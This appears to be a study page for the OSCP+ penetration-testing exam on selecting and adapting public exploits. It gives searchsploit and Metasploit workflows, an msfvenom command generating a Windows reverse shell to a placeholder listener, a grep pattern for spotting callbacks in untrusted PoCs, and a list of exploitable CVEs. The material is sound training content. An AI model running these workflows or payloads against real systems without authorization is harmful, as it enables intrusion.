Public Exploit Selection and Adaptation

← Stage index | Shell/session procedure | Quick sheet | Strategy map | Study methods: Select and adapt public exploits; Establish sessions and move files

Purpose: turn exact product/configuration evidence into a reviewed, minimally modified exploit that proves the intended effect. A version string or CVE match is only a candidate.

Record the candidate

Copysource URL/EDB-ID/CVE/commit:
product + component + edition/build:
target OS/architecture/runtime:
remote or local; pre-auth or authenticated:
required configuration/feature/path/credential/privilege:
expected effect:
exploit runtime and dependencies:
hard-coded target/callback/payload assumptions:
destructive or stability risk:
evidence each prerequisite exists:

Do not substitute a scanner label for component evidence. Check vendor/version output, application behavior, files/configuration and the exploit's own affected-version notes. Distribution backports, disabled features, authentication and mitigations can invalidate a simple version match.

Search narrowly

Copysearchsploit --cve CVE
searchsploit -t "PRODUCT VERSION"
searchsploit PRODUCT VERSION --exclude="/dos/"

Inspect before copying:

Copysearchsploit -p EDB_ID
searchsploit -x EDB_ID
searchsploit -w "PRODUCT VERSION"

Copy a working copy, never edit the archive in place:

Copymkdir -p exploit-work
cd exploit-work
searchsploit -m EDB_ID
sha256sum EXPLOIT_FILE
file EXPLOIT_FILE

Selection cue: prefer a readable, reputable or verified exploit whose prerequisites and outcome match the observed component. Exclude denial-of-service entries when the objective is access.

A named Nmap NSE script can validate or exercise a specific known condition, but inspect it and its arguments first:

Copynmap --script-help SCRIPT_NAME
sed -n '1,240p' /usr/share/nmap/scripts/SCRIPT_NAME.nse
nmap -Pn -p PORT --script SCRIPT_NAME --script-args 'ARG=VALUE' TARGET

Script categories such as intrusive, exploit, brute or dos change risk and authorization requirements. A script-reported vulnerable result remains a candidate until its underlying evidence or controlled effect is validated.

Copygit clone REPOSITORY_URL exploit-source
cd exploit-source
git log -1 --format='%H %ad %s' --date=iso-strict
git status --short

Copymsfconsole -q
search type:exploit PRODUCT CVE
info MODULE_NAME
use MODULE_NAME
show options
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
check
run

Audit untrusted code before execution

Start with metadata and readable text:

Copyfile EXPLOIT_FILE
sha256sum EXPLOIT_FILE
sed -n '1,240p' EXPLOIT_FILE
grep -nEi 'sudo|setuid|chmod|chown|rm |unlink|remove|subprocess|system\(|popen|exec\(|socket|connect|requests|curl|wget|powershell|cmd\.exe|/bin/(ba)?sh|http://|https://' EXPLOIT_FILE

For binaries, prefer obtaining inspectable source. If only a binary exists, treat it as a substantially higher-risk choice:

Copyfile EXPLOIT_BINARY
sha256sum EXPLOIT_BINARY
strings -a EXPLOIT_BINARY | less
objdump -f EXPLOIT_BINARY

Audit for:

• unexpected privilege requirements on the attacking host;
• destructive file/process/service operations or denial of service;
• downloads, callbacks or telemetry to third parties;
• embedded credentials, tokens, commands or payloads;
• files written or overwritten and their cleanup behavior;
• hard-coded target addresses, ports, paths, virtual hosts and callback values;
• authentication, cookie, CSRF, redirect, TLS and proxy assumptions;
• target OS, architecture, runtime, library and payload assumptions;
• success messages that are printed without verifying the claimed effect.

Safety cue: use source, a disposable environment and a clean snapshot when uncertainty remains. Do not grant sudo merely because an unknown PoC requests it.

Establish the runtime before changing code

Copyhead -n 1 EXPLOIT_FILE
python3 --version
gcc --version
file EXPLOIT_FILE

Separate three architectures:

1. where the exploit program itself runs;
2. the vulnerable target process;
3. the payload that will execute inside or on the target.

A remote Python exploit may run on Kali while delivering a Windows x64 payload. A local Linux exploit normally must run on the target-compatible architecture. Compiler choice follows the produced program; payload choice follows the target execution context.

Python exploit workflow

After source review:

Copypython3 -m py_compile exploit.py
python3 exploit.py --help

Isolate explicit dependencies:

Copypython3 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade pip
python -m pip install -r requirements.txt
python -m pip freeze > requirements-resolved.txt

Run --help only after confirming that module import and argument handling do not trigger the exploit. Old Python 2 syntax, str/bytes mistakes, renamed modules and obsolete TLS dependencies are runtime problems, not target evidence.

Useful diagnostics:

Copypython3 -X dev exploit.py ARGUMENTS
python3 -m trace --trace exploit.py ARGUMENTS

Use tracing only when its output is bounded and does not expose credentials. Prefer adding a few prints around the failing request/parser over changing many lines at once.

Compile reviewed source

Linux/ELF program:

Copygcc -Wall -Wextra exploit.c -o exploit
file exploit
ldd exploit
sha256sum exploit

32-bit output requires matching headers/libraries:

Copygcc -m32 -Wall -Wextra exploit.c -o exploit32
file exploit32

Windows PE from Kali:

Copyi686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe
file exploit-x86.exe exploit-x64.exe

Windows socket code commonly needs the Winsock import library:

Copyi686-w64-mingw32-gcc exploit.c -o exploit-x86.exe -lws2_32
x86_64-w64-mingw32-gcc exploit.c -o exploit-x64.exe -lws2_32

Failure cue: undefined references are linker evidence. Identify the missing symbol and documented library; do not delete calls until the binary compiles. Exec format error means the produced format/architecture cannot run in the current environment.

Make the smallest supported edit

Change one assumption at a time and retain a diff:

Copycp EXPLOIT_FILE EXPLOIT_FILE.orig
git diff --no-index -- EXPLOIT_FILE.orig EXPLOIT_FILE

Typical adaptations are:

Do not combine prerequisite repair, payload replacement and parser rewrites in one unreviewable change.

Repair a web exploit from the real transaction

Before changing the script, reproduce the relevant request with Burp or curl and compare:

Copycurl -i -X METHOD 'SCHEME://HOSTNAME:PORT/PATH' \
  -H 'Host: HOSTNAME' \
  -H 'Cookie: COOKIE' \
  --data 'PARAM=VALUE'

For a scoped lab with a known self-signed certificate:

Copycurl -k -i 'https://HOSTNAME:PORT/PATH'

In Python Requests, use a session when cookies or defaults must persist:

Copywith requests.Session() as session:
    response = session.get(url, timeout=10)
    print(response.status_code, response.url)
    print(response.headers)
    print(response.text[:500])

Set verify=False only for a scoped test after confirming the certificate problem; it disables certificate and hostname validation. Prefer a supplied CA bundle when possible.

Parser cue: IndexError, missing-key and regular-expression failures mean the received response did not have the assumed shape. Print status, final URL, headers and a bounded body fragment before rewriting the parser. Common causes are a changed path, redirect, failed login, CSRF change, error page, proxy/WAF response or certificate handling.

Adapt an existing memory-corruption PoC only as required

Dedicated overflow development, offset drills and shellcode development are excluded from this speedrun. Use this section only to understand and adapt an existing PoC whose vulnerable build and assumptions are supported by evidence.

Review the PoC comments and code for:

• exact vulnerable build and target architecture;
• hard-coded target/callback address and port;
• return address/module assumptions and target profiles;
• recorded offset, available payload space and bad characters;
• payload architecture, type and exit behavior;
• crash/restart and reliability expectations.

Replace an embedded payload only when the PoC documents its constraints:

Copymsfvenom -p windows/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f c -v payload \
  -b '\x00\x0a\x0d'

Use the PoC's actual bad-character and space requirements; the example list is not universal. A changed build, missing module, mitigation or misaligned offset invalidates the PoC and should not trigger a fresh exploit-development detour in this route.

Prove effects in increasing order

Copyexact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position

Do not accept the exploit's own “success” string as proof. Validate an independent effect. An HTTP 200, uploaded filename, connection or application crash each proves less than a verified command result.

Failure routing

Handoff and evidence

Record the original URL/EDB-ID/CVE/commit, original hash, exact target prerequisites, dependency/compiler state, modified diff, shellcode-generation command if applicable, invocation, raw result and independent verification. The current exam guide requires the original URL, modified code, highlighted changes and explanations when a public exploit is modified.

Once command execution is proven, continue with shells and payloads. Do not make exploit adaptation carry listener, route and TTY problems that belong to the session layer.

The current OSCP+ guide restricts Metasploit Auxiliary/Exploit/Post modules and Meterpreter to one selected target; selection is consumed even when the attempt or check fails. msfvenom and multi/handler have across-target exceptions, subject to the Meterpreter limit. AI chatbots are prohibited during the actual exam.

Component/CVE lookup from the source cheatsheet

Use this lookup when enumeration identifies the relevant component. These are candidate/advisory links, not confirmation from a banner. Check the vendor/distribution patch status, exact feature, access and PoC behavior before following the existing adaptation workflow.

• CVE-2014-6271 — CGI/application environment reaches an affected Bash invocation; see the Shellshock request test in Web. CVE record.
• CVE-2016-1531 — Local Exim build/configuration exposes the vulnerable privileged Perl-startup path. CVE record.
• CVE-2019-14287 — The exact sudo run-as policy permits the affected user-ID handling; inspect sudo -l and package patch level. CVE record.
• CVE-2014-5301 — ManageEngine ServiceDesk Plus upload workflow, affected build and credentials required by the chosen PoC. CVE record.
• CVE-2015-1328 — Affected Ubuntu OverlayFS/kernel package and user-namespace conditions; check distribution backports. CVE record.
• CVE-2016-5195 — Dirty COW kernel race and exact package/backport state; select a reviewed matching PoC and account for file damage. CVE record.
• CVE-2017-0144 — Windows SMBv1 implementation and MS17-010 patch state; banner alone is insufficient and exploitation can crash the host. CVE record.
• CVE-2018-7600 — Affected Drupal release and reachable Form API processing; identify the application before choosing a PoC. CVE record.
• CVE-2019-7214 — Affected SmarterMail build, exposed .NET remoting service and the selected deserialization chain. CVE record.
• CVE-2020-11651 — Salt master exposed request server and affected authentication handling; identify service and patch state. CVE record.
• CVE-2020-11652 — Salt master file-path validation and the privileges/context required by the selected file-read/write operation. CVE record.
• CVE-2020-24186 — Affected WordPress wpDiscuz plugin and reachable comment/upload workflow, not WordPress core alone. CVE record.
• CVE-2021-4034 — Installed setuid pkexec/Polkit package and distribution backports; protect the disposable target from PoC side effects. CVE record.
• CVE-2022-24112 — Affected Apache APISIX batch-request/admin processing and exact deployment configuration. CVE record.
• CVE-2023-24078 — Affected FuguHub version, reachable upload/execution route and account prerequisites of the selected PoC. CVE record.
• CVE-2020-1472 — Domain-controller Netlogon implementation/patch state; do not use a DC password-reset exploit as a harmless version probe. CVE record.
• CVE-2021-3156 — Affected sudo package and heap-trigger conditions, including distribution backports; use a matching reviewed PoC. CVE record.
• CVE-2021-42287 — AD/KDC patch state and the account-creation/object-name prerequisites of the selected NoPac chain. CVE record.
• CVE-2021-44228 — The actual Java logging path, affected Log4j component and reachable JNDI/callback context; a DNS hit alone is not RCE. CVE record.
• CVE-2022-0847 — Affected Linux kernel and writable-page-cache primitive; confirm build/backports before a Dirty Pipe PoC. CVE record.
• CVE-2022-22963 — Spring Cloud Function routing-expression processing; do not confuse it with Spring Framework CVE-2022-22965. CVE record.
• CVE-2022-31214 — Affected setuid Firejail build and namespace/join conditions. CVE record.
• CVE-2023-21746 — Local Windows NTLM behavior, patch state and the privileged file-operation/consumer chain of LocalPotato. CVE record.
• CVE-2023-22809 — Affected sudoedit version plus an editable-file rule and editor environment control. CVE record.
• CVE-2023-32629 — Ubuntu kernel packaging/backports and the relevant OverlayFS/user-namespace conditions. CVE record.
• CVE-2023-2640 — Ubuntu OverlayFS permission handling and exact kernel packaging; check alongside CVE-2023-32629. CVE record.
• CVE-2023-4911 — Affected glibc loader/tunables behavior and a compatible setuid consumer/build. CVE record.
• CVE-2023-7028 — GitLab password-reset workflow, release/patch level and actual account/reset-delivery conditions. CVE record.
• CVE-2024-4577 — Windows PHP-CGI invocation and relevant best-fit/locale conditions; a PHP version banner alone is insufficient. CVE record.
• CVE-2025-29927 — Next.js middleware authorization path and affected deployment/version; verify access to a normally protected route. CVE record.
• CVE-2025-32463 — Affected sudo chroot processing and the selected local PoC requirements. CVE record.
• CVE-2025-55182 — Affected React Server Components/server-function processing and the exact deployed dependency/patch level. CVE record.
• CVE-2026-24061 — Affected GNU Inetutils telnetd/login environment handling; see the conditional Telnet test in Common services. CVE record.
• CVE-2026-46300 — Linux ESP/XFRM/page-cache conditions and the exact patched kernel package; do not adopt a universal-root claim. CVE record.

The source also bundles PoCs for ManageEngine ServiceDesk Plus, Drupal, SmarterMail, SaltStack, wpDiscuz, APISIX, FuguHub, FreeSWITCH, Nexus, Symfony, WiFi Mouse, PwnKit, MS17-010 and older Linux local exploits. Match the actual product/feature/build, then inspect the original script with the runtime/argument checks above. The bundled payload binaries and precompiled helpers are not automatically the correct architecture/runtime or a trustworthy build for your target.

0xsyr0 exploit files · Source CVE recipes

BadSuccessor/dMSA and container-escape examples have additional object/platform/configuration requirements. Treat them as conditional candidates when those exact features are observed, rather than default steps after obtaining any domain identity or container shell.

Sources: upstream 1 · upstream 2 · upstream 3.

Sources

• Supplied PEN-200 Ch 13 pp375-392 and Ch 14 pp393-415
• Current OSCP+ Body of Knowledge
• Current OSCP+ exam guide
• SearchSploit manual
• Nmap NSE documentation
• Python virtual environments
• Requests advanced usage
• Metasploit msfvenom documentation